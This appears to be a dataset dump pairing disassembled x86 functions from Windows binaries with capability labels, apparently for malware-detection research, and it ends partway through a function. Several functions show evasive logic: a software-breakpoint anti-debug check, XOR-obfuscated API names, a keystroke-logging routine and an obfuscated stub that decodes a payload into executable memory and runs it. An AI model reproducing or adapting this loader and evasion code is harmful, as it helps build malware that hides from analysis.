joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40de30
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov edx, dword [esp + 8]
sub esp, 0x408
test edx, edx
push ebx
push edi
je 0x40df41
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x40df41
mov ebx, dword [esp + 0x41c]
lea eax, [esp + 8]
mov ecx, ebx
push eax
or ecx, 0x10008
push ecx
push 0
push edx
mov edx, dword [esp + 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40df46
mov edi, dword [esp + 0x420]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push esi
mov edx, dword [esp + 0x10]
push 0
push 0
push 0
lea eax, [esp + 0x20]
push 0
lea ecx, [esp + 0x28]
push eax
push ecx
push 0
push edx
mov dword [esp + 0x34], 0x400
call ebp
mov esi, eax
cmp esi, 0x103
je 0x40def6
test esi, esi
jne 0x40df29
mov ecx, dword [esp + 0x10]
push edi
lea eax, [esp + 0x1c]
push ebx
push eax
push ecx
call fcn.0040de30
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40de93
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ebp
pop edi
pop ebx
add esp, 0x408
ret
test edi, edi
je 0x40df11
mov edx, dword [esp + 0x420]
mov eax, dword [esp + 0x41c]
push 0
push ebx
push edx
push eax
call edi
jmp 0x40df27
mov ecx, dword [esp + 0x420]
mov edx, dword [esp + 0x41c]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ebp
pop edi
pop ebx
add esp, 0x408
ret
mov eax, 0x3f2
pop edi
pop ebx
add esp, 0x408
ret
Function at 0x40e8c0
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
sub esp, 0x8c
mov eax, dword [0x42b7f4]
push esi
mov esi, dword [0x42b7f0]
mov dword [esp + 4], 0
test eax, eax
jbe 0x40ead3
push ebx
push ebp
push edi
mov ebx, 0x1000
mov eax, dword [esi + 0xe]
test eax, eax
je 0x40eaaf
mov eax, dword [0x42bc24]
test eax, eax
jne 0x40ea90
push esi
call fcn.0040f0c0
mov edx, dword [0x42b764]
add esp, 4
cmp byte [edx], 0
je 0x40ea90
mov ecx, 0x22
xor eax, eax
lea edi, [esp + 0x14]
push 0x4000
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
mov byte [esp + 0x18], 0x88
push eax
push edx
call dword [sym.imp.KERNEL32.dll_OpenFile]
cmp eax, 0xffffffff
je 0x40e981
mov ecx, dword [0x42b764]
push ecx
call fcn.00401370
add esp, 4
test eax, eax
je 0x40e981
mov edx, dword [esi + 0xe]
mov eax, dword [0x42b764]
push edx
push eax
call fcn.004130e0
add esp, 8
test eax, eax
je 0x40eadb
mov dword [0x42bc1c], 1
mov word [esi + 2], 0x1f4
jmp 0x40e9b0
test dword [esi + 0x1a], ebx
je 0x40e998
mov eax, dword [esi + 0x1e]
test ah, 0x60
jne 0x40e998
push 0
call fcn.0040e270
add esp, 4
mov ecx, dword [esi + 0xe]
push ecx
push esi
call fcn.0040f3c0
add esp, 8
cmp word [esi + 2], 0x1b
je 0x40eae7
mov eax, dword [esi + 0x1e]
mov ebp, 0x80
test ebx, eax
je 0x40e9c1
mov ebp, 0x81
test ah, 8
je 0x40e9c9
or ebp, 2
cmp ebp, 0x80
je 0x40e9fa
cmp word [esi + 2], 0x1f4
mov edi, dword [0x42b764]
jne 0x40e9e2
mov edi, dword [esi + 0xe]
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40e9fa
and al, 0xfc
or eax, ebp
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [esi + 0x22]
test eax, eax
je 0x40ea2a
mov eax, dword [esi + 0x1a]
test ah, 4
je 0x40ea2a
mov ax, word [esi + 2]
cmp ax, 0x17
je 0x40ea25
cmp ax, 0x19
je 0x40ea25
cmp ax, 0x1f5
je 0x40ea25
cmp ax, 0x1f4
jne 0x40ea2a
call fcn.00410350
cmp dword [esi + 0x22], 3
jne 0x40ea4f
mov ax, word [esi + 2]
cmp ax, 0x17
je 0x40ea40
cmp ax, 0x19
jne 0x40ea4f
mov edx, dword [0x42b764]
push edx
call fcn.00402800
add esp, 4
test dword [esi + 0x1a], ebx
je 0x40ea9c
mov ax, word [esi + 2]
cmp ax, 0x17
je 0x40ea6a
cmp ax, 0x19
je 0x40ea6a
cmp ax, 0x1f4
jne 0x40ea9c
push esi
call fcn.0040e500
add esp, 4
test eax, eax
jne 0x40ea9c
mov ecx, dword [0x42b764]
mov dword [0x42bc24], 0x16
push ecx
call fcn.0040ab70
add esp, 4
mov edx, dword [esi + 0xe]
push edx
call fcn.0041b380
add esp, 4
mov eax, dword [esi + 0xe]
push eax
call fcn.0041b0b3
add esp, 4
mov dword [esi + 0xe], 0
mov edx, dword [esp + 0x10]
push esi
inc edx
mov dword [esp + 0x14], edx
call fcn.00403d10
mov esi, eax
mov eax, dword [0x42b7f4]
add esp, 4
cmp edx, eax
jb 0x40e8ea
pop edi
pop ebp
pop ebx
pop esi
add esp, 0x8c
ret
mov dword [0x42bc24], 0x16
jmp 0x40ea90
mov eax, dword [0x42b764]
mov dword [0x42bc24], 0x16
push eax
call fcn.0040ab70
mov eax, dword [esi + 0x1a]
add esp, 4
test ebx, eax
je 0x40ea90
mov eax, dword [esi + 0x1e]
test ah, 0x60
jne 0x40ea90
push 1
call fcn.0040e270
jmp 0x40ea8d
Function at 0x40f630
Capabilities:
Get file version info

Disassembly:
sub esp, 0x10
lea eax, [esp + 8]
push edi
mov edi, dword [esp + 0x18]
push eax
push 0x800
mov dword [esp + 0xc], 1
call fcn.00402160
add esp, 8
test eax, eax
jne 0x40f660
mov eax, 1
pop edi
add esp, 0x10
ret
mov edx, dword [0x42b764]
lea ecx, [esp + 0x10]
push ebp
push ecx
push edx
call sub.VERSION.dll_GetFileVersionInfoSizeA
test eax, eax
mov dword [esp + 0x1c], eax
je 0x40f7b1
push eax
call fcn.0041af50
mov ebp, eax
add esp, 4
test ebp, ebp
je 0x40f7b1
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x14]
mov edx, dword [0x42b764]
push ebx
push esi
push ebp
push eax
push ecx
push edx
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x40f7a6
mov al, byte [edi + 0x1a]
mov esi, dword [esp + 0x18]
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
test al, 2
je 0x40f738
lea eax, [esp + 0x24]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0x426b6c
push ebp
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x40f738
mov edx, dword [esp + 0x14]
mov ecx, dword [edi + 0x2c]
mov eax, dword [edx + 8]
cmp eax, ecx
ja 0x40f6f6
jne 0x40f738
mov edx, dword [edx + 0xc]
mov eax, dword [edi + 0x30]
cmp edx, eax
jbe 0x40f738
push 0x1d
push 7
call fcn.004039a0
mov cl, byte [eax]
add esp, 8
test cl, cl
je 0x40f79e
mov ecx, dword [0x42bc20]
test ecx, ecx
jne 0x40f79e
mov ecx, dword [0x42b764]
push ecx
push eax
push esi
call ebx
push 0x124
push esi
call fcn.00403960
add esp, 0x14
cmp eax, 6
jne 0x40f79e
mov eax, dword [0x42bc20]
test eax, eax
jne 0x40f7a6
test byte [edi + 0x1a], 4
je 0x40f7a6
lea edx, [esp + 0x24]
lea eax, [esp + 0x14]
push edx
push eax
push str.VarFileInfoTranslation
push ebp
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x40f7a6
mov edx, dword [esp + 0x14]
mov eax, dword [edi + 0x3c]
xor ecx, ecx
mov cx, word [edx]
cmp eax, ecx
je 0x40f7a6
push 0x1e
push 7
call fcn.004039a0
add esp, 8
test eax, eax
je 0x40f7a6
mov ecx, dword [0x42b764]
push ecx
push eax
push esi
call ebx
push 0x124
push esi
call fcn.00403960
add esp, 0x14
cmp eax, 6
je 0x40f7a6
mov dword [esp + 0x10], 0
push ebp
call fcn.0041b0b3
add esp, 4
pop esi
pop ebx
lea edx, [esp + 0x10]
push edx
call fcn.004021a0
mov eax, dword [esp + 0xc]
add esp, 4
pop ebp
pop edi
add esp, 0x10
ret
Function at 0x410350
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x10
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionSharedDLLs
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4103f9
lea ecx, [esp + 0xc]
lea edx, [esp]
push ecx
mov ecx, dword [0x42b764]
lea eax, [esp + 8]
push edx
mov edx, dword [esp + 0x10]
push eax
push 0
push ecx
push edx
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 4
mov dword [esp + 0x24], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4103bc
inc dword [esp]
jmp 0x4103cc
mov dword [esp], 1
mov dword [esp + 4], 4
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 4]
lea ecx, [esp]
push eax
mov eax, dword [0x42b764]
push ecx
mov ecx, dword [esp + 0x10]
push edx
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 0x10
ret
Function at 0x410910
Capabilities:
Get common file path

Disassembly:
mov eax, dword [0x42bb38]
sub esp, 0x208
test eax, eax
push ebx
push ebp
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push edi
jne 0x4109f3
push 0x42bb38
push 0x104
call fcn.00402160
add esp, 8
test eax, eax
jne 0x41095b
pop edi
pop esi
pop ebp
mov dword [0x42bc24], 0xc
or eax, 0xffffffff
pop ebx
add esp, 0x208
ret
mov ebp, dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ebx, 1
mov eax, dword [0x42bb38]
push eax
push 0x104
call ebp
mov ecx, dword [0x42bb38]
push ecx
call fcn.004020b0
mov edx, dword [0x42bb38]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ebx
add ecx, edx
push str.icptmp_d
push ecx
call esi
mov edx, dword [0x42bb38]
push edx
call fcn.0041b148
add esp, 0x14
test eax, eax
jne 0x4109ba
inc ebx
cmp ebx, 0x3e7
jl 0x410966
jmp 0x4109cc
mov eax, dword [0x42bb38]
push eax
call fcn.0041b11c
add esp, 4
test eax, eax
je 0x4109f3
mov ecx, dword [0x42bb38]
mov dword [0x42bc24], 0x11
push ecx
call fcn.0040ab70
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret
mov edx, dword [0x42bb38]
push edx
call fcn.004020b0
mov ebx, dword [esp + 0x220]
mov ecx, dword [0x42bb38]
lea edx, [esp + 0x14]
mov eax, dword [ebx + 6]
push eax
push ecx
push str._s_d.bin
push edx
call esi
mov eax, dword [0x42bb38]
push eax
call fcn.004020f0
lea ecx, [esp + 0x28]
push 0
push ecx
call fcn.004010e0
mov ebp, dword [esp + 0x244]
mov edi, eax
add esp, 0x20
cmp edi, 0xffffffff
jne 0x410aee
mov eax, dword [0x42bb24]
mov edx, dword [ebx + 6]
push edx
lea edx, [esp + 0x118]
mov ecx, dword [eax + 0x70]
add ecx, eax
push ecx
push str._s_d.bin
push edx
call esi
mov eax, dword [esp + 0x230]
mov ecx, dword [ebx + 0xa]
push ebp
push eax
lea edx, [esp + 0x12c]
push ecx
lea eax, [esp + 0x2c]
push edx
push eax
call fcn.00410690
add esp, 0x24
test eax, eax
je 0x410ac7
lea ecx, [esp + 0x10]
push 0
push ecx
call fcn.004010e0
mov edi, eax
add esp, 8
cmp edi, 0xffffffff
jne 0x410aee
lea edx, [esp + 0x10]
mov dword [0x42bc24], 0x10
push edx
call fcn.0040ab70
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret
lea eax, [esp + 0x114]
mov dword [0x42bc24], 0x10
push eax
call fcn.0040ab70
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret
push ebp
call fcn.00401ea0
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret
Function at 0x410b10
Capabilities:
Set current directory

Disassembly:
mov eax, dword [0x42bb38]
test eax, eax
je 0x410bae
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push eax
call ebx
test eax, eax
je 0x410ba0
push esi
push 1
push 0x118
call fcn.0041b002
mov esi, eax
add esp, 8
test esi, esi
je 0x410b89
push edi
push esi
push str..bin
call fcn.0041bf41
mov edi, eax
add esp, 8
cmp edi, 0xffffffff
je 0x410b7f
test byte [esi], 0x10
jne 0x410b68
lea eax, [esi + 0x14]
push eax
call fcn.0041b380
add esp, 4
push esi
push edi
call fcn.0041c00b
add esp, 8
test eax, eax
je 0x410b57
push edi
call fcn.0041c0d0
add esp, 4
push esi
call fcn.0041b0b3
add esp, 4
pop edi
push 0x426bc8
call ebx
mov ecx, dword [0x42bb38]
push ecx
call fcn.0041bf17
add esp, 4
pop esi
push 0x42bb38
call fcn.004021a0
add esp, 4
pop ebx
ret

Function at 0x410c30
Capabilities:
Copy file

Disassembly:
push ecx
push ebx
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
push 0x104
xor ebp, ebp
call fcn.00402160
mov ebx, dword [esp + 0x18]
mov eax, dword [esp + 0x24]
mov edx, ebx
add esp, 8
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x410c55
push 0x5c
push ebx
call fcn.0041ae00
add esp, 8
test eax, eax
je 0x410c71
inc eax
jmp 0x410c73
mov eax, ebx
mov edi, dword [esp + 0x20]
mov edx, eax
mov ecx, edi
sub edx, edi
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x410c7d
mov esi, dword [esp + 0x18]
push 0
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x410cc2
mov dword [0x42bc24], 0x3e8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [0x42bc14]
mov dword [0x42bc28], eax
mov ecx, edi
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x410cb6
jmp 0x410ced
push 2
push esi
mov ebp, 1
call fcn.0041adad
add esp, 8
test eax, eax
je 0x410ced
cmp dword [0x42bc5c], 0xd
jne 0x410ced
push 0x180
push esi
call fcn.0041ac6c
add esp, 8
lea ecx, [esp + 0x10]
push ecx
call fcn.004021a0
add esp, 4
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x412a90
Capabilities:
Check for software breakpoints
Encode data using xor

Disassembly:
mov eax, dword [0x42bc0c]
sub esp, 0x14
cmp eax, 0xffffffff
push ebx
push ebp
push esi
push edi
je 0x412be0
mov ecx, dword [0x42bc10]
mov edx, dword [eax*4 + 0x42ba40]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x412ab2
mov eax, dword [0x42bb00]
test eax, eax
je 0x412be0
cmp dword [eax + 8], 1
jne 0x412be0
mov ecx, dword [eax + 0x14]
test ecx, ecx
jne 0x412be0
mov edi, 0x426268
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xfffffffe
mov dword [0x42615c], 0x409520
test ecx, ecx
mov dl, 0x2c
lea ebp, [esp + 0x10]
jle 0x412b1f
mov al, dl
shl al, 7
shr dl, 1
add dl, al
mov al, byte [esi + 0x426268]
xor al, dl
mov byte [ebp], al
inc ebp
inc esi
cmp esi, ecx
jl 0x412b05
lea ecx, [esp + 0x10]
mov byte [ebp], 0
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
je 0x412bac
mov edi, 0x426274
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xfffffffe
mov dl, 0x2c
test ecx, ecx
lea ebp, [esp + 0x10]
jle 0x412b6b
mov al, dl
shl al, 7
shr dl, 1
add dl, al
mov al, byte [esi + 0x426274]
xor al, dl
mov byte [ebp], al
inc ebp
inc esi
cmp esi, ecx
jl 0x412b51
lea ecx, [esp + 0x10]
mov byte [ebp], 0
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], edx
test eax, eax
mov dword [esp + 0x20], edx
je 0x412bac
cmp byte [eax], 0xcc
je 0x412ba0
call eax
test eax, eax
je 0x412bac
mov dword [0x42bb50], 1
jmp 0x412be0
mov eax, dword [0x42bb00]
mov dword [0x426160], 0x40a3b0
test eax, eax
je 0x412bd6
cmp dword [eax + 8], 1
jne 0x412bd6
mov ecx, dword [eax + 0x14]
mov dword [0x42615c], 0x409ac0
test ecx, ecx
je 0x412be0
mov dword [0x42615c], 0x409d60
mov eax, dword [esp + 0x28]
xor esi, esi
mov dword [0x42bc0c], eax
mov dword [0x42b7f4], esi
mov ecx, dword [eax*4 + 0x42bac0]
mov dword [0x42b7f0], esi
cmp ecx, esi
je 0x412c13
mov edx, dword [ecx]
add ecx, 4
mov dword [0x42b7f4], edx
mov dword [0x42b7f0], ecx
mov ecx, dword [eax*4 + 0x42ba80]
mov edx, dword [0x42bc10]
mov dword [0x42bb00], ecx
mov ecx, dword [eax*4 + 0x42ba40]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x412c2d
mov eax, dword [0x42bb00]
cmp eax, esi
je 0x412c55
cmp dword [eax + 8], 1
jne 0x412c55
cmp dword [eax + 0x14], esi
jne 0x412c55
mov dword [0x42615c], 0x409ac0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret
Function at 0x4130e0
Capabilities:
Get common file path
Move file

Disassembly:
sub esp, 0x318
push esi
mov esi, dword [esp + 0x320]
test esi, esi
je 0x413100
push 0x180
push esi
call fcn.0041ac6c
add esp, 8
mov eax, dword [0x42bbac]
test eax, eax
je 0x41314b
test esi, esi
jne 0x41312c
mov eax, dword [esp + 0x324]
push 4
push esi
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
neg eax
sbb eax, eax
pop esi
neg eax
add esp, 0x318
ret
mov ecx, dword [esp + 0x324]
push 5
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
neg eax
sbb eax, eax
pop esi
neg eax
add esp, 0x318
ret
mov eax, dword [esp + 0x324]
push ebp
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea edx, [esp + 0x11c]
push 0x104
push edx
push eax
call edi
test esi, esi
je 0x41317e
lea ecx, [esp + 0x220]
push 0x104
push ecx
push esi
call edi
lea edx, [esp + 0x18]
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [esp + 0x18]
push str.WININIT.INI
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
test esi, esi
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
je 0x4131e0
lea ecx, [esp + 0x18]
lea edx, [esp + 0x11c]
push ecx
lea eax, [esp + 0x224]
push edx
push eax
push str.Rename
call esi
lea ecx, [esp + 0x18]
push ecx
push 0
push 0
push 0
call esi
pop edi
pop ebp
mov eax, 1
pop esi
add esp, 0x318
ret
lea edx, [esp + 0x18]
lea eax, [esp + 0x11c]
push edx
push eax
push 0x426be8
push str.Rename
call esi
lea ecx, [esp + 0x18]
push ecx
push 0
push 0
push 0
call esi
lea edx, [esp + 0x18]
push 2
push edx
call fcn.004010e0
mov ebp, eax
add esp, 8
cmp ebp, 0xffffffff
je 0x4132f8
push ebx
push ebp
call fcn.00401260
mov ebx, eax
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x1c], ebx
lea ecx, [ebx + 0x200]
push ecx
call fcn.00402120
add esp, 0xc
test eax, eax
je 0x4132ee
mov esi, dword [esp + 0x10]
push ebx
push esi
push ebp
call fcn.00401160
add esp, 0xc
test eax, eax
jne 0x4132e1
add ebx, 0xfffffffc
mov edx, esi
test ebx, ebx
jbe 0x4132e1
mov eax, 0xfffffffe
sub eax, esi
mov dword [esp + 0x18], eax
cmp byte [edx], 0x78
jne 0x4132b0
cmp byte [edx + 1], 0x79
jne 0x4132b0
cmp byte [edx + 2], 0x7a
jne 0x4132b0
cmp byte [edx + 3], 0x3d
jne 0x4132b0
lea edi, [esp + 0x120]
or ecx, 0xffffffff
xor eax, eax
lea esi, [edx + 4]
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x120]
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x4132bb
mov eax, dword [esp + 0x18]
inc edx
lea ecx, [eax + edx + 2]
cmp ecx, ebx
jb 0x413274
jmp 0x4132e1
push 0
push ebp
mov byte [edx], 0x4e
mov byte [edx + 1], 0x55
mov byte [edx + 2], 0x4c
call fcn.00401200
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push edx
push eax
push ebp
call fcn.004011a0
add esp, 0x14
lea ecx, [esp + 0x10]
push ecx
call fcn.004021a0
add esp, 4
push ebp
call fcn.00401360
add esp, 4
pop ebx
pop edi
pop ebp
mov eax, 1
pop esi
add esp, 0x318
ret
Function at 0x41ac6c
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x41ac97
test byte [esp + 8], 0x80
je 0x41ac86
and al, 0xfe
jmp 0x41ac88
or al, 1
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x41aca8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0041c55a
pop ecx
or eax, 0xffffffff
ret
xor eax, eax
ret

Function at 0x41adad
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41adcd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0041c55a
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x41adee
test byte [esp + 8], 2
je 0x41adee
mov dword [0x42bc5c], 0xd
mov dword [0x42bc60], 5
jmp 0x41adc9
xor eax, eax
ret

Function at 0x41fb69
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x42b270
cmp edx, dword [eax]
je 0x41fb8b
add eax, 8
inc ecx
cmp eax, 0x42b300
jl 0x41fb7c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x42b270]
jne 0x41fcb9
mov eax, dword [0x42bcb8]
cmp eax, 1
je 0x41fc93
test eax, eax
jne 0x41fbbc
cmp dword [0x428ce8], 1
je 0x41fc93
cmp edx, 0xfc
je 0x41fcb9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x41fbf3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0041e7c0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0041e740
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x41fc36
lea eax, [ebp - 0x1a4]
push eax
call fcn.0041e740
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4266fc
push edi
call fcn.0041b3d0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0041e7c0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0041e7d0
lea eax, [ebp - 0xa0]
push 0x423b74
push eax
call fcn.0041e7d0
push dword [esi + 0x42b274]
lea eax, [ebp - 0xa0]
push eax
call fcn.0041e7d0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00421185
add esp, 0x2c
pop edi
jmp 0x41fcb9
lea eax, [ebp + 8]
lea esi, [esi + 0x42b274]
push 0
push eax
push dword [esi]
call fcn.0041e740
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret

Function at 0x1001f1c5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x1001f1d4
pop dword [ebp - 0x4c]
mov eax, 0x73bea6e7
add eax, 0x9c434aed
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xb0eea4a7
add dword [ebp - 0x5c], 0x9d63a0a4
mov dword [ebp - 0x58], 0xf053a076
sub dword [ebp - 0x58], 0xbe205431
mov dword [ebp - 0x54], 0xbf2c32fc
add dword [ebp - 0x54], 0x8d201132
mov dword [ebp - 0x50], 0x64ad69ee
sub dword [ebp - 0x50], 0x64ad69ee
lea eax, [ebp - 0x5c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xcf13ae0d
add dword [ebp - 0x5c], 0xa55ebb49
mov dword [ebp - 0x58], 0xa2287f2e
sub dword [ebp - 0x58], 0x60bc1db9
mov dword [ebp - 0x54], 0x262e3f30
sub dword [ebp - 0x54], 0xc2bed2c4
mov dword [ebp - 0x50], 0x496e9413
add dword [ebp - 0x50], 0xb6916bed
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x513a71e2
sub eax, 0x4136212a
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x49761
push 0
call eax
mov ecx, 0x57c02f0
add ecx, 0xfa84403f
mov esi, eax
mov edi, 0x16bc949d
add edi, 0xf94abb63
add edi, dword [ebp - 0x4c]
mov edx, 0x96652e9a
mov dword [ebp - 0x2c], 0x7167a7f5
mov ebx, dword [edi]
sub dword [ebp - 0x3c], ecx
xor ebx, edx
mov dword [esi], ebx
sub dword [ebp - 0x2c], ebx
add esi, 4
add edi, 0x28ae8ff8
sub edi, 0x28ae8ff4
loop 0x1001f2eb
add eax, 0x94795350
sub eax, 0x947853c1
mov ebx, eax
add eax, 0x1c872d00
add eax, 0xe378d305
mov ecx, 0x10000000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x10020430
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x10020454
xor eax, eax
jmp 0x100204d4
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1002046b
xor eax, eax
jmp 0x100204d4
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 0x10]
and eax, 0xf
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jbe 0x100204b7
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jae 0x100204b7
mov edx, dword [ebp - 4]
movzx eax, word [edx]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
jmp 0x1002048e
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jb 0x100204c3
xor eax, eax
jmp 0x100204d4
mov edx, dword [ebp - 4]
